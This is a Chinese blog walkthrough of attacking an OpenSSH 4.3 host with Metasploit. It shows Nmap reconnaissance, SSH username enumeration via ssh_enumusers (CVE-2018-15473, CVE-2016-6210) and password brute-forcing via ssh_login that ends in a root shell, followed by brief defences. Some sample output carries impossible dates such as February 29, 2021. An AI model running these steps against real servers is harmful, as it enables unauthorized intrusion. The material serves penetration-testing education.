使用 Metasploit 利用 OpenSSH 用户枚举漏洞 (CVE-2018-15473, CVE-2016-6210, CVE-1999-0502)

已于 2022-02-22 13:42:43 修改
阅读量1.1w 收藏 24
点赞数 4
分类专栏： 网络空间安全 文章标签： 安全 metasploit openssh 系统安全 网络
于 2022-02-22 00:14:22 首次发布
CC-BY-SA-ND 4.0
本文链接：https://blog.csdn.net/qq_19338977/article/details/123050995
版权

使用 Metasploit 利用 OpenSSH 用户枚举漏洞 (CVE-2018-15473, CVE-2016-6210, CVE-1999-0502)


警告

请勿将本文提到的任何技术用于非法用途。

请遵守《中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》和/或当地其他相关法律法规。

本文作者在进行试验时已获得省级相关部门和作者单位相关部门的批准。


特别提示

重要：在执行本文的任何攻击命令前，请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

重要：执行本文的部分或全部命令有能违反中华人民共和国法律的可能性。在任何情况下，本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否阅读本文。


协议

特别说明: 本文按“原样”提供，不做任何明示或暗示的担保，包括但不限于对适用性、正确性、使用情景合法性的担保。在和任何情况下，作者均不对读者使用本文提及的内容造成的结果进行赔偿或承担任何责任。

本作品采用 知识共享署名-禁止演绎 4.0 国际许可协议 进行许可。(CC-BY-ND 4.0)

当 CSDN 平台提供的版权协议与本协议 (CC-BY-ND 4.0) 不一致时，以本协议为准。

Copyright © 2022, 还没想好昵称的新建p

特别说明: 在转载时，禁止对本文的任何内容进行修改。

特别说明: “警告”和“协议”的全部内容应该按原样包含在本文的所有转载副本内容中。

如果您不同意协议中的任何一项，请勿继续阅读或转载，并关闭此页面。


环境和约定
本文依据例行网络安全监测监测的真实案例改编。

我们约定，除非另有说明，本文所提及的攻击者和受害者 (靶机) 的 IP 地址和版本信息如下。

攻击者: localhost, Kali Linux + Windows 10, metasploit/6.1.27, nmap/7.91
受害者: 192.168.1.100, 推理操作系统 Linux (93%), 未能精确匹配操作系统信息

为保护隐私，本文提到的 IP 地址等为虚拟。

目的

通过 OpenBSD 的 OpenSSH 存在的用户枚举漏洞，枚举服务器存在的用户，进而爆破。

CVE 信息

NVDCNNVD漏洞中文名称
CVE-2018-15473CNNVD-201808-536OpenSSH 竞争条件问题漏洞
CVE-2016-6210CNNVD-201607-1067OpenSSH 信息泄露漏洞
CVE-1999-0502CNNVD-199803-001Unix账户漏洞

CVE-2018-15473

OpenSSH 7.7 及之前版本中存在信息泄露漏洞。该漏洞源于网络系统或产品在运行过程中存在配置等错误。未授权的攻击者可利用漏洞获取受影响组件敏感信息。

CVE-2016-6210

OpenSSH 用户枚举漏洞。SSH 守护进程允许用户进行身份验证时的时间差进行用户枚举。

CVE-1999-0502

Unix 账户存在默认、空、空白或丢失密码漏洞。

渗透过程

0. 准备工作

0.1 使用 Nmap 扫描受害主机

通过如下命令对受害者扫描，得到开放端口、版本、操作系统推理等信息。

nmap -A 192.168.1.100

通过观察如下结果，可知受害者开放 22 端口，服务为 SSH，版本 OpenSSH/4.3 脆弱。

Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-29 02:33 China Standard Time
Nmap scan report for 192.168.1.100
Host is up (0.041s latency).
Not shown: 999 filtered ports
PORT     STATE  SERVICE       VERSION
22/tcp   open   ssh           OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 de:ad:be:ef:de:ad:be:ef:de:ad:be:ef:de:ad:be:ef (DSA)
|_  2048 de:ad:be:ef:de:ad:be:ef:de:ad:be:ef:de:ad:be:ef (RSA)

Aggressive OS guesses: Linux (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   17.00 ms  192.168.0.1
2   18.00 ms  192.168.1.1
3   32.00 ms  192.168.1.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds
0.2 启动 Metasploit
msfconsole

进入 msfconsole 后，将看到启动文字界面和 msf6 > 。依次输入以下内容

1. 扫描用户

1.1 使用辅助扫描工具 (Auxiliary)

扫描用户时利用 CVE-2018-15473 和 CVE-2016-6210 漏洞。

使用

msf6 > search cve:2018-15473

或

msf6 > search cve:2016-6210

均可搜到


Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_enumusers                   normal  No     SSH Username Enumeration


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/ssh/ssh_enumusers

使用如下命令选择此 Auxiliary。

msf6 > use auxiliary/scanner/ssh/ssh_enumusers
1.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(scanner/ssh/ssh_enumusers) > show info

使用如下命令设置 rhosts。

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.1.100

将得到如下提示：rhosts => 192.168.1.100

使用如下命令设置 user_file。

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file usr/share/wordlists/metasploit/piata_ssh_userpass.txt

将得到如下提示：user_file => /usr/share/wordlists/metasploit/piata_ssh_userpass.txt

1.3 攻击


警告

在执行任何攻击命令前，请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示：执行此命令有违反中华人民共和国法律的可能性。在任何情况下，本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者（亦可使用 run）。

exploit

通常，将看到如下结果。

[*] 192.168.1.100:22 - SSH - Using malformed packet technique
[*] 192.168.1.100:22 - SSH - Starting scan
[+] 192.168.1.100:22 - SSH - User ‘root’ found
[+] (省略一些记录)
[+] 192.168.1.100:22 - SSH - User ‘root’ found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

如果出现如下错误，请尝试更换版本。

[-] Auxiliary aborted due to failure: bad-config: Please populate DB_ALL_USERS, USER_FILE, USERNAME
[*] Auxiliary module execution completed

2. 爆破口令

2.1 使用辅助扫描工具 (Auxiliary)

爆破口令时利用 CVE-1999-0502 漏洞。

使用如下命令选择 Auxiliary。

msf6 > use auxiliary/scanner/ssh/ssh_login
2.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(scanner/ssh/ssh_login) > show info

使用如下命令设置 rhosts。

msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.100

将得到如下提示：rhosts => 192.168.1.100

请使用 set … … 命令妥善设置用户名、字典等，在此不作赘述。

2.3 攻击


警告

在执行任何攻击命令前，请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示：执行此命令有违反中华人民共和国法律的可能性。在任何情况下，本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者（亦可使用 run）。

exploit

通常，将看到如下结果。

[+] 192.168.1.100:22 - Success: ‘root:root’ ‘uid=1001(root) gid=1001(root) groups=1001(root) Linux metasploitable 6.1.27-dev-server #1 SMP Thu Feb 29 23:33:00 UTC 2021 i686 GNU/Linux’
[*] Command shell session 1 opened (127.0.0.1:23333 -> 192.168.1.100:22) at 2021-02-29 23:33:00 +0800

如果出现如下信息，请尝试更换字典。

[*] 192.168.1.100:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Enjoy it!

至此，渗透完成。

防护措施

  • 升级 OpenSSH
  • 更改配置文件，禁止使用密码登录 SSH
  • 设置 iptables，禁止 SSH 多次失败

敬告

本文作者并不对上述防护措施有效性做任何担保。

Copyright © 2022, 还没想好昵称的新建p  ( CC-BY-ND 4.0)
还没想好昵称的新建p
关注
  • 4
    点赞
  • 踩
  • 24
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
专栏目录
Mastering-Metasploit:掌握Metasploit书中的Metasploit模块
05-17
此存储库包含《掌握Metasploit手册》中涵盖的模块： ＃要将所有模块自动加载到metasploit： ./msfrun.sh ＃手动方法＃加载所有核心metasploit模块（开发，辅助，发布）： msf>加载路径/ root / Desktop / Mastering-Metasploit / modules / 加载了12个模块： 2 auxiliarys 3 posts 7 exploits ＃要加载所有meterpreter脚本： 将所有模块从book_meterpreter_scripts复制到/ usr / share / metasploit-framework / scripts / meterpreter
exploit_laravel_cve-2018-15133:利用 API_KEY 利用 Laravel 远程代码执行 (CVE-2018-15133)
05-31
针对 CVE-2018-15133 的 Laravel 漏洞利用 此代码利用 ，它基于和对该漏洞。 我几乎只是为一个盒子做了这个，因为我现在不想使用 Metasploit，也不想作为练习 Python 的借口。 来自 CVE 的描述： 在 Laravel Framework 到 5.5.40 和 5.6.x 到 5.6.29 中，远程代码执行可能由于对潜在不可信 X-XSRF-TOKEN 值的反序列化调用而发生。 这涉及到 Illuminate/Encryption/Encrypter.php 中的解密方法和 phpggc 中 gadgetchains/Laravel/RCE/3/chain.php 中的 PendingBroadcast。 攻击者必须知道应用程序密钥，这通常不会发生，但如果攻击者之前拥有特权访问权限或成功完成之前的攻击，则可能会发生。 安装依赖： pip ins
OpenSSH 用户名枚举漏洞（CVE-2018-15473）
NLstudy33的博客
09-15 333
set枚举字典，这个可以切其他屏cd ，ls一个个查到路径，kali的是在这个路径下。set rhosts IP地址。记录一下测试过程，怕忘记。msfconsole进入。然后run，等待结果即可。修复后的，应该不存在。+表示能枚举出来的。
【CVE-2018-15473】漏洞修复-离线版
weixin_45918954的博客
02-20 1066
通过 find / -name libcrypto.so.3 和 libssl.so.3 查找到对应so文件的位置，并建立软连接。(可能下面的ssh.pam文件都没用到，因为sshd_config配置文件貌似没使用它，请自行测试。根据漏扫建议升级OpenSSH-7.8已经修复这个安全问题，我想不如干脆升级到8.8p1版本算了。OpenSSH 7.7及之前版本中存在用户枚举漏洞，该漏洞源于程序会对有效的和无效的。根据原ssh配置文件，修改新生成的配置文件/etc/ssh/sshd_config。
【网络安全】记一次红队渗透实战项目_渗透测试红队
wangluoanquan111的博客
06-16 910
信息收集非常重要，有了信息才能知道下一步该如何进行，接下来将用 nmap 来演示信息收集。
OpenSSH 曝枚举系统用户(CVE-2016-6210)漏洞
weixin_34357928的博客
06-02 979
该漏洞在opensshd-7.2p2 中被发现，但是安全人员指出，该漏洞应该在更早的版本中已经存在。 漏洞描述如下： 当我们使用ssh客户端去连接服务端的时候，如果向服务端发送一个大于10KB的密码，由于OpenSSH服务端会对user:password的组合，使用加密算法SHA256/SHA512进行加密。 如果我们传输的是一个不存在的用户名，那么就不...
ProxyLogon-CVE-2021-26855-metasploit:CVE-2021-26855 proxyLogon metasploit利用脚本
03-17
ProxyLogon-CVE-2021-26855-metasploit CVE-2021-26855 proxyLogon metasploit利用脚本
OpenSSH用户名枚举漏洞
qq_42947816的博客
02-04 8822
近日在工作过程中，发现企业内部业务存在SSH用户名枚举漏洞，对此漏洞进行一个简单分析及漏洞复现
OpenSSH 用户名枚举漏洞 CVE-2018-15473 漏洞复现
Senimo
08-02 8253
OpenSSH 用户名枚举漏洞 CVE-2018-15473 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接 一、漏洞描述 OpenSSH 7.7前存在一个用户名枚举漏洞，通过该漏洞，攻击者可以判断某个用户名是否存在于目标主机中。 攻击者可以尝试使用格式错误的数据包（例如，截断的数据包）对用户进行身份验证，并且： 如果用户无效（不存在），则 userauth_pubkey()立即返回，服务器发送 SSH2_MSG_USERAUTH_FAILURE到攻击者；
OpenSSH曝高危漏洞 会泄露私钥
weixin_33904756的博客
07-03 313
OpenSSH释出了新版本客户端， 修正了一个会泄露私钥的高危漏洞。漏洞存在于终端用户使用版本中，不影响服务器使用的版本，漏洞影响OpenSSH v5.4到7.1，与一个默认启用的实验性漫游功能代码有关，它允许一台恶意配置的服务器利用漏洞访问联网计算机的内存内容，获取用户用于SSH连接的私钥。 根据SSH的设计，用户即使连接了一个恶意的主机，主机也只知道...
Metasploit实战之-SSH暴力破解过程
lucashu的博客
04-17 6090
本文目录Metasploit概述运行环境暴力破解过程第一步：进入metasploit第二步：探测用户名第三步：破解SSH Metasploit概述 Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。 运行环境 攻击机：Kali Linux 靶机：OWASP Broken Web Apps 环境搭建传送门： OWASP Brok...
【漏洞复现】OpenSSH ProxyCommand命令注入漏洞（CVE-2023-51385）
做自己喜欢的事，并将其发挥到极致！
12-27 3369
OpenSSH 是 SSH(Secure SHell)协议的免费开源实现。SSH协议族可以用来进行远程控制， 或在计算机之间传送文件。而实现此功能的传统方式，如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的，并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具，用来加密远程控制和文件传输过程中的数据，并由此来代替原来的类似服务。一个存在于OpenSSH中的命令注入漏洞,攻击者可利用该漏洞注入恶意Shell字符导致命令注入。
CVE-2021-21972:CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE
03-08
CVE-2021-21972 CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE 准备 git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p ~ /.msf4/modules/exploits/multi/http cp * ~ /.msf4/modules/exploits/multi/http chmod +x ~ /.msf4/modules/exploits/multi/http/vmware_vcenter_server_unauthenticated_file_upload_exploit.py msfconsole metasploit用法 set target <target> set PAYLOAD
cve_2019_0708_bluekeep_rce:蓝皮漏洞利用
04-29
cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluek
CVE-2018-8174-msf:CVE-2018-8174-VBScript内存损坏漏洞利用
05-17
2018-8174.rb复制到/ usr / share / metasploit-framework / modules / exploits / windows / fileformat / 将CVE-2018-8174.rtf复制到/ usr / share / metasploit-framework / data / exploits / 该漏洞无法与...
全新桥隧坡安全监测解决方案，24h监测效率提升30%
Hi_Target的博客
04-30 473
4月26日，交通运输部党组书记、部长李小鹏在部务会上强调，要高度重视公路桥梁隧道结构监测工作，抓紧推进公路桥梁隧道结构监测系统建设，进一步健全完善公路桥梁隧道结构监测长效运行机制。基于北斗高精度定位技术，采用高精度传感器，融合物联网、人工智能以及三维数字化仿真等技术，实时获取运营数据，掌握桥隧坡的运行状况，可有效减少维护成本，保障运营安全。具备振弦、电压、电流、差阻、RS485、RS232、开关量、继电器、RJ45接口。在全国各省份设有26家分公司，具备专业、高效的演示、演练、支撑、交付等本地化服务能力。
Linux服务器安全基础 - 查看入侵痕迹
最新发布
eagle89的专栏
04-30 546
Linux服务器安全基础 - 查看入侵痕迹
OpenSSH 用户枚举漏洞(CVE-2018-15473)【原理扫描】
06-01
OpenSSH 用户枚举漏洞(CVE-2018-15473)是指攻击者通过构造恶意的SSH请求，可以利用该漏洞来判断目标主机上是否存在指定的用户名。该漏洞的原因是在SSH服务器的身份验证过程中，若该服务器启用了键盘交互式身份验证方式，攻击者可以发送一个恶意的SSH请求，并在其中指定了一个不存在的用户名，如果服务器返回的错误信息不同于指定了正确的用户名时返回的错误信息，则说明该用户名不存在。 下面是一些可能的扫描方法： 1. 利用nmap进行扫描。可以使用nmap的ssh-auth-methods脚本来检测目标主机是否存在该漏洞。命令如下： ``` nmap -sV --script ssh-auth-methods <target> ``` 2. 使用Metasploit进行扫描。可以使用Metasploit的auxiliary/scanner/ssh/ssh_enumusers模块来扫描目标主机是否存在该漏洞。 3. 使用Python脚本进行扫描。可以编写一个Python脚本，通过发送特定的SSH请求并分析返回的结果来判断目标主机是否存在该漏洞。 需要注意的是，进行漏洞扫描时应当遵守相关法律法规和道德规范，不得未经授权地扫描他人的网络。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值